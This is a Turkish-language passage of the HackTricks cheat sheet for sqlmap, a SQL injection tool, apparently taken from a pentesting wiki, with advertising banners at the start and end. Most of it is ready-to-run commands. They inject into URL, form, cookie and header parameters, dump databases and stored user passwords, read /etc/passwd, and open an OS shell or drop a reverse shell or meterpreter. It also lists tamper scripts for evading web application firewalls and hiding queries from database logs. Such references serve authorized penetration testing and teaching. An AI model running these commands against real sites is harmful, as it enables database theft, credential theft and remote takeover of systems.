hacktricks/pentesting-web/sql-injection/sqlmap
2024-03-17 16:37:08 +00:00
..
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 16:37:08 +00:00
second-order-injection-sqlmap.md Translated to Turkish 2024-02-10 18:14:16 +00:00

SQLMap - Hile Kağıdı

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.

{% embed url="https://pentest-tools.com/" %}

SQLmap için Temel Argümanlar

Genel

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Bilgi Al

İçsel

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB verileri

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Enjeksiyon Yeri

Burp/ZAP yakalama

İsteği yakalayın ve req.txt adında bir dosya oluşturun

sqlmap -r req.txt --current-user

GET İsteği Enjeksiyonu

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST İsteği Enjeksiyonu

sqlmap -u "http://example.com" --data "username=*&password=*"

Başlık ve Diğer HTTP Metotlarında Enjeksiyonlar

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Enjeksiyon başarılı olduğunda dizeyi belirtin

--string="string_showed_when_TRUE"

Değerlendirme

Sqlmap, her yükü göndermeden önce bazı python oneliner'ları ile işlemek için -e veya --eval kullanımına izin verir. Bu, yükü göndermeden önce özelleştirilmiş şekillerde işlemeyi çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask çerez oturumu, gönderilmeden önce flask tarafından bilinen sır ile imzalanır:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Kabuk

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Dosya Okuma

--file-read=/etc/passwd

SQLmap ile bir web sitesini tarama ve otomatik olarak açıkları kullanma

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

İkinci Derece Enjeksiyon

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Bu yazıyı okuyun, sqlmap ile basit ve karmaşık ikinci sıra enjeksiyonları nasıl gerçekleştireceğiniz hakkında.

Enjeksiyonu Özelleştirme

Bir sonek ayarlayın

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Önek

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Boolean enjeksiyonunu bulmaya yardım etme

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Değiştir

Kendi değiştiricinizi Python'da oluşturabileceğinizi unutmayın ve bu çok basittir. Bir değiştirici örneği İkinci Derece Enjeksiyon sayfasında burada bulabilirsiniz.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Değiştir ıklama
apostrophemask.py Apostrof karakterini UTF-8 tam genişlik karşılığıyla değiştirir
apostrophenullencode.py Apostrof karakterini yasaklı çift unicode karşılığıyla değiştirir
appendnullbyte.py Kodun sonuna kodlanmış NULL bayt karakteri ekler
base64encode.py Verilen koddaki tüm karakterleri Base64'e dönüştürür
between.py Büyüktür operatörünü ('>') '0 VE #' ARASINDA OLMAYAN' ile değiştirir
bluecoat.py SQL ifadesinden sonra boşluk karakterini geçerli rastgele bir boş karakterle değiştirir. Daha sonra karakter = yerine LIKE operatörü ile değiştirir
chardoubleencode.py Verilen kodun tüm karakterlerini çift url-kodlar (zaten kodlanmış olanları işlemez)
commalesslimit.py 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir
commalessmid.py 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir
concat2concatws.py 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir
charencode.py Verilen kodun tüm karakterlerini url-kodlar (zaten kodlanmış olanları işlemez)
charunicodeencode.py Verilen kodun kodlanmamış karakterlerini Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "%u0022"
charunicodeescape.py Verilen kodun kodlanmamış karakterlerini Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "\u0022"
equaltolike.py Tüm eşit operatörlerini ('=') 'LIKE' operatörü ile değiştirir
escapequotes.py Ters eğik çizgi ile tırnakları (' ve ") kaçış karakteri yapar
greatest.py Büyüktür operatörünü ('>') 'GREATEST' karşılığıyla değiştirir
halfversionedmorekeywords.py Her anahtar kelimenin önüne sürümlü MySQL yorumu ekler
ifnull2ifisnull.py 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir
modsecurityversioned.py Sorguyu sürümlü yorumla kapsar
modsecurityzeroversioned.py Sorguyu sıfır sürümlü yorumla kapsar
multiplespaces.py SQL anahtar kelimelerin etrafına birden fazla boşluk ekler
nonrecursivereplacement.py Önceden tanımlanmış SQL anahtar kelimelerini değiştirmek için uygun temsilcilerle değiştirir (ör. .replace("SELECT", "")) filtreler
percentage.py Her karakterin önüne bir yüzde işareti ('%') ekler
overlongutf8.py Verilen kodun tüm karakterlerini dönüştürür (zaten kodlanmış olanları işlemez)
randomcase.py Her anahtar kelime karakterini rastgele büyük/küçük harf değeriyle değiştirir
randomcomments.py SQL anahtar kelimelere rastgele yorumlar ekler
securesphere.py Özel oluşturulmuş dizeyi kodun sonuna ekler
sp_password.py Otomatik olarak DBMS günlüklerinden gizlemek için 'sp_password'ı kodun sonuna ekler
space2comment.py Boşluk karakterini yorumlarla değiştirir
space2dash.py Boşluk karakterini tire yorumu ('--') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir
space2hash.py Boşluk karakterini bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir
space2morehash.py Boşluk karakterini bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir
space2mssqlblank.py Boşluk karakterini geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir
space2mssqlhash.py Boşluk karakterini bir diyez karakteri ('#') ve ardından yeni satır ('\n') ile değiştirir
space2mysqlblank.py Boşluk karakterini geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir
space2mysqldash.py Boşluk karakterini tire yorumu ('--') ve ardından yeni satır ('\n') ile değiştirir
space2plus.py Boşluk karakterini artı ('+') ile değiştirir
space2randomblank.py Boşluk karakterini geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir
symboliclogical.py AND ve OR mantıksal operatörlerini sembolik karşılıklarıyla değiştirir (&& ve)
unionalltounion.py UNION ALL SELECT'i UNION SELECT ile değiştirir
unmagicquotes.py Tırnak karakterini (') çoklu bayt kombinasyonu %bf%27 ile değiştirir ve sonuna genel yorum ekler (çalışması için)
uppercase.py Her anahtar kelime karakterini büyük harf değeriyle değiştirir 'INSERT'
varnish.py Bir HTTP başlığı 'X-originating-IP' ekler
versionedkeywords.py Her fonksiyon olmayan anahtar kelimeyi sürümlü MySQL yorumuyla kapsar
versionedmorekeywords.py Her anahtar kelimeyi sürümlü MySQL yorumuyla kapsar
xforwardedfor.py Sahte bir HTTP başlığı 'X-Forwarded-For' ekler

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

{% embed url="https://pentest-tools.com/" %}

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: